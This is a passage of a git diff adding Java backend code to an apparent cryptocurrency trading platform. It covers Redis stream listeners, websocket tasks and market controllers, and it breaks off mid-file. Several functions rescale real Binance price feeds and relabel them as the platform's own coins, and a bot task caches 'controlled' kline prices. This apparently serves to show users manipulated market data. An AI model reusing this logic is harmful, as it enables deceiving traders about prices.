ListenerMessage(redisUtil,webSocketRunner,webSocketNotice,webSocketCoinOver,webSocketCoin); + } + + @Bean + public List subscription(RedisConnectionFactory factory){ + List resultList = new ArrayList<>(); + var options = StreamMessageListenerContainer + .StreamMessageListenerContainerOptions + .builder() + .pollTimeout(Duration.ofSeconds(1)) + .build(); + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + var listenerContainer = StreamMessageListenerContainer.create(factory,options); + Subscription subscription = listenerContainer.receiveAutoAck(Consumer.from(groups[0], this.getClass().getName()), + StreamOffset.create(redisStreamName, ReadOffset.lastConsumed()), streamListener); + resultList.add(subscription); + listenerContainer.start(); + } + return resultList; + } + + + private void initStream(String key, String group){ + boolean hasKey = redisUtil.hasKey(key); + if(!hasKey){ + Map map = new HashMap<>(); + map.put("field","value"); + RecordId recordId = redisUtil.addStream(key, map); + redisUtil.addGroup(key,group); + //将初始化的值删除掉 + redisUtil.delField(key,recordId.getValue()); + log.debug("stream:{}-group:{} initialize success",key,group); + } + } + + @PostConstruct + private void initStream(){ + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + } + } +} \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java b/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java new file mode 100644 index 0000000..067b2cd --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java @@ -0,0 +1,77 @@ +package com.ruoyi.listener; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import com.ruoyi.websocket.WebSocketRunner; +import com.ruoyi.websocket.WebSocketSubscriber; +import lombok.extern.slf4j.Slf4j; +import org.springframework.data.redis.connection.stream.MapRecord; +import org.springframework.data.redis.stream.StreamListener; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +@Component +@Slf4j +public class ListenerMessage implements StreamListener> { + + RedisUtil redisUtil; + List marketThread; + WebSocketNotice webSocketNotice; + WebSocketCoinOver webSocketCoinOver; + WebSocketSubCoins webSocketCoin; + WebSocketRunner webSocketRunner; + + + public ListenerMessage(RedisUtil redisUtil,WebSocketRunner webSocketRunner, WebSocketNotice webSocketNotice, WebSocketCoinOver webSocketCoinOver,WebSocketSubCoins webSocketCoin){ + this.redisUtil = redisUtil; + this.webSocketRunner = webSocketRunner; + this.webSocketNotice = webSocketNotice; + this.webSocketCoinOver = webSocketCoinOver; + this.webSocketCoin = webSocketCoin; + } + + @Override + public void onMessage(MapRecord entries) { + try{ + //check用于验证key和对应消息是否一直 + log.debug("stream name :{}, body:{}, check:{}",entries.getStream(),entries.getValue(),(entries.getStream().equals(entries.getValue().get("name")))); + String stream = entries.getStream(); + switch (stream) { + case "socket_key": + Map map = entries.getValue(); + for (String s : map.keySet()) { + if(s.equals("settlement")){ + webSocketCoin.sendInfoAll(Integer.parseInt(map.get(s))); + }else if(s.equals("position")){ + webSocketCoin.sendInfo(Integer.parseInt(map.get(s))); + }else if(s.equals("user_status")){ + webSocketCoin.sendUserFreeze(map.get(s)); + } else if (s.equals("add_coin")) { + webSocketRunner.reStart(); + marketThread.stream().forEach(marketThread1 -> { + // marketThread1.marketThreadRun(); + }); + } + } + } + redisUtil.delField(entries.getStream(),entries.getId().getValue()); + }catch (Exception e){ + log.error("error message:{}",e.getMessage()); + } + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java b/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java new file mode 100644 index 0000000..8542440 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java @@ -0,0 +1,189 @@ +package com.ruoyi.task; + +import com.alibaba.fastjson2.JSONObject; +import com.binance.connector.client.impl.WebSocketStreamClientImpl; +import com.binance.connector.client.utils.httpclient.WebSocketStreamHttpClientSingleton; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.socket.service.impl.MarketThreadBinanceImpl; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * 查询地址的usdt余额定时任务。 + */ +@Component +@Slf4j +public class BianaceWSTask { + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + @Scheduled(cron = "0 0 1 * * ?") + public void queryAddreUsdt(){ + /* log.info("全部断开"); + try { + log.info("重连"); + BianaceWebSocketClient klineClient = new BianaceWebSocketClient(); + BianaceWebSocketClient aggTradeClient = new BianaceWebSocketClient(); + BianaceWebSocketClient symbolTickerClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + for (String string : strings) { + klineClient.klineStream(string, "1m", ((event) -> { + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + })); + //对应trade + aggTradeClient.aggTradeStream(string, ((event) -> { + webSocketUserManager.binanceTRADESendMeg(event); + String s = event; + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + webSocketUserManager.binanceTRADESendMeg(event); + } + } + })); + //对应detail + symbolTickerClient.symbolTicker(string, ((event) -> { + String s = event; + webSocketUserManager.binanceDETAILSendMeg(event); + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + })); + } + MarketThreadBinanceImpl.klineClient = klineClient; + MarketThreadBinanceImpl.aggTradeClient = aggTradeClient; + MarketThreadBinanceImpl.symbolTickerClient = symbolTickerClient; + log.info("重连结束"); + } catch (Exception e) { + e.printStackTrace(); + }*/ + } + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java b/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java new file mode 100644 index 0000000..5a952f7 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java @@ -0,0 +1,129 @@ +package com.ruoyi.task; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.socket.constants.SocketTypeConstants; +import com.ruoyi.socket.dto.MessageVo; +import com.ruoyi.socket.dto.SocketMessageVo; +import com.ruoyi.socket.dto.WsCoinSubVO; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@Component +@Slf4j +public class BotKlineTask { + @Resource + ITBotKlineModelService itBotKlineModelService; + @Resource + RedisCache redisCache; + + @Scheduled(cron = "*/15 * * * * ?") + public void botKline() { + Date date = new Date(); + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + tBotKlineModel.setBeginTime(date); + List botModelListByTime = itBotKlineModelService.getBotModelListByTime(tBotKlineModel); + for (TBotKlineModel botModel : botModelListByTime) { + log.info("存储控线缓存"); + HashMap botMap = new HashMap(); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + botModel.getSymbol().replace("usdt", "")); + botMap.put("id", botModel.getId()); + botMap.put("currentlyPrice", currentlyPrice); + botModel.setConPrice(currentlyPrice); + itBotKlineModelService.updateByid(botModel); + KLoader.BOT_MAP.put("bot-" + botModel.getSymbol().replace("usdt", ""), botMap); + KLoader.BOT_TIME_MAP.put(botModel.getSymbol().replace("usdt", ""), "0"); + KLoader.BOT_PRICE.put(botModel.getSymbol().replace("usdt", ""),currentlyPrice); + } + List list = itBotKlineModelService.list(); + if (list.size() < 1) { + KLoader.BOT_MAP.clear(); + KLoader.BOT_PRICE.clear(); + KLoader.BOT_TIME_MAP.clear(); + } + } + + /** + * 保持心跳 + */ + @Scheduled(cron = "*/5 * * * * ?") + public void keepHeartBeat() { + Map webSocketMap = WebSocketSubCoins.webSocketMap; + webSocketMap.forEach((userId, webSocketSubCoins) -> { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.HEARTBEAT); + + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + messageVo.setMessage(SocketTypeConstants.HEARTBEAT); + socketMessageVo.setDate(messageVo); + + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketSubCoins.sendMessage(jsonStr); + }); + } + + @Resource + ITOwnCoinService tOwnCoinService; + + /** + * 成功订阅推送消息 + */ + @Scheduled(cron = "*/30 * * * * ?") + public void subCoinSendMsgTask() { + try { + Map webSocketMap = WebSocketSubCoins.webSocketMap; + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.OWN_COIN); + MessageVo messageVo = new MessageVo(); + + webSocketMap.forEach((userId, webSocketSubCoins) -> { + TOwnCoinSubscribeOrder selectOrder = new TOwnCoinSubscribeOrder(); + selectOrder.setStatus("2"); + selectOrder.setUserId(Long.parseLong(userId)); + List orders = + tOwnCoinService.selectTOwnCoinSubscribeOrderList(selectOrder); + if (!CollectionUtils.isEmpty(orders)) { + TOwnCoinSubscribeOrder subscribeOrder = orders.get(0); + WsCoinSubVO vo = new WsCoinSubVO(); + BeanUtils.copyProperties(subscribeOrder, vo); + vo.setMsg(MessageUtils.message("own.coin.sub.success", vo.getOwnCoin().toUpperCase().concat("/USDT"))); + //vo.setMsg("您已获得 " + vo.getOwnCoin() + "/USDT 申购资格"); + String message = JSONObject.toJSONString(vo); + if (WebSocketSubCoins.webSocketMap.containsKey(userId)) { + subscribeOrder.setStatus("3"); + int count = tOwnCoinService.updateTOwnCoinSubscribeOrder(subscribeOrder); + if(count>0){ + messageVo.setMessage(message); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + WebSocketSubCoins.webSocketMap.get(userId).sendMessage(jsonStr); + } + } + } + }); + }catch (Exception e){ + log.info(e.toString()); + } + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java new file mode 100644 index 0000000..d193000 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java @@ -0,0 +1,55 @@ +package com.ruoyi.web.controller.app; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.SupportStaffSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@RestController +@RequestMapping("/api/app/customer") +public class TCustomerController { + + + @Resource + private SettingService settingService; + /** + * PC端查询客服列表 + */ + @PostMapping("/info") + public AjaxResult info() + { +// HashMap map = new HashMap<>(); + //多语言 +// List data = dictTypeService.selectDictDataByType("t_app_language"); +// if (StringUtils.isNull(data)) +// { +// data = new ArrayList(); +// } + + Setting setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + List supportStaffSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class); + + Map map = new HashMap(); + map.put("customer",supportStaffSettings.get(0).getUrl()); + map.put("customerEmail",""); + map.put("registType",""); + map.put("signType",""); + +// map.put("t_app_language",data); + return new AjaxResult(0,"success",map); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java new file mode 100644 index 0000000..75dad8e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java @@ -0,0 +1,50 @@ +package com.ruoyi.web.controller.app; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDictTypeService; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +/** + * @ClassName TdictController + * @Description TODO + * @Author fuck + * @Version 1.0 + */ + +@RestController +@RequestMapping("/api/app/dict") +public class TDictController extends ApiBaseController { + + + @Resource + private ISysDictTypeService dictTypeService; + /** + * PC端查询语言列表 + */ + @PostMapping("/dictByLanguage") + public AjaxResult dictByLanguage(TActivityRecharge tActivityRecharge) + { +// HashMap map = new HashMap<>(); + //多语言 + List data = dictTypeService.selectDictDataByType("t_app_language"); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + } +// map.put("t_app_language",data); + return new AjaxResult(0,"success",data); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java new file mode 100644 index 0000000..7dca70e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java @@ -0,0 +1,97 @@ +package com.ruoyi.web.controller.app; + + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.socket.config.KLoader; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +@RestController +@RequestMapping("/api/app/market") +public class TMarketController { + + + @Resource + private ITContractCoinService tContractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + + @Resource + private RedisCache redisCache; + + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + + @Resource + private ITBotKlineModelService tBotKlineModelService; + + @GetMapping("/list") + public AjaxResult list() { + //查询币种跟随性价格 + // LocalDateTime now = LocalDateTime.now(); + // LocalDateTime beforeTime = now.minusDays(1); + // List list = tBotKlineModelService.list(new LambdaQueryWrapper().between(TBotKlineModel::getBeginTime, beforeTime, now).eq(TBotKlineModel::getModel, 0)); + HashMap stringBigDecimalHashMap = tBotKlineModelService.getyesterdayPrice(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO s:coinList) { + BigDecimal bigDecimal = stringBigDecimalHashMap.get(s.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(s.getCoin()); + s.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + if(s.getMarket().equals("metal")){ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + }else{ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin().toLowerCase()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol t:currencyList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getCoin().toLowerCase()); + t.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(t.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(t.getCoin().toLowerCase()); + t.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin:contractList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.getCoin().toLowerCase()); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(coin.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(coin.getCoin().toLowerCase()); + coin.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + coin.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + Map map = new HashMap<>(); + map.put("coinList",coinList); + map.put("currencyList",currencyList); + map.put("contractList",contractList); + return new AjaxResult(0,"success",map); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java new file mode 100644 index 0000000..85bf636 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java @@ -0,0 +1,60 @@ +package com.ruoyi.web.controller.app; + + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; +import java.util.List; + +@RestController +@RequestMapping("/api/app/noticeTop") +public class TNoticeTopController extends BaseController { + + + @Autowired + private ITNoticeService tNoticeService; + + @PostMapping("/list") + public AjaxResult list(TNotice tNotice, HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + return new AjaxResult(0,"success",list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java new file mode 100644 index 0000000..3e0f850 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java @@ -0,0 +1,83 @@ +package com.ruoyi.web.controller.blockcc; + +import cc.block.data.api.domain.market.Kline; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.framework.web.domain.KlineParamVO; +import com.ruoyi.framework.web.domain.Ticker24hVO; +import com.ruoyi.framework.web.service.BlockccService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 数据源接口 不做验证 直接调用api接口 + * + * @author ruoyi + */ +@RestController +public class BlockccController { + public static final Logger log = LoggerFactory.getLogger(BlockccController.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + @Autowired + BlockccService blockccService; + + /** + * 登录历史k线 + * + * @param klineParamVO 入参 + * @return 结果 + */ + @PostMapping("/kline") + public AjaxResult kline(@RequestBody KlineParamVO klineParamVO) { + AjaxResult ajax = AjaxResult.success(); + HashMap map = new HashMap<>(); + List historyKline = blockccService.getHistoryKline(klineParamVO); + historyKline = blockccService.getConPriceMap(klineParamVO,historyKline); + Ticker24hVO ticker = blockccService.getHistoryKline24hrTicker(klineParamVO); + map.put("historyKline",historyKline); + if(historyKline.size()>0){ + Kline kline = historyKline.get(historyKline.size() - 1); + //ticker.setLowPrice(new BigDecimal(kline.getHigh())); + ticker.setHighPrice(new BigDecimal(kline.getHigh())); + } + map.put("ticker",ticker); + ajax.put("data", map); + return ajax; + } + + /** + * 封装缩减k线数据 + * + * @param list 入参数组list + * @return 结果 + */ + @PostMapping("/newKline") + public AjaxResult new_kline(@RequestBody List list) { + AjaxResult ajax = AjaxResult.success(); + List re=new ArrayList<>(); + for (KlineParamVO paramVO : list) { + HashMap map = new HashMap<>(); + List historyKline = blockccService.getHistoryKline2(paramVO); + historyKline = blockccService.getConPriceMap(paramVO,historyKline); + Ticker24hVO ticker = blockccService.getHistoryKline24hrTicker(paramVO); + map.put("historyKline",historyKline); + map.put("ticker",ticker); + re.add(map); + } + ajax.put("data", re); + return ajax; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java new file mode 100644 index 0000000..e206d31 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java @@ -0,0 +1,95 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.dto.AddressHashDTO; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; +import com.ruoyi.bussiness.domain.dto.UserInvestmentDto; +import 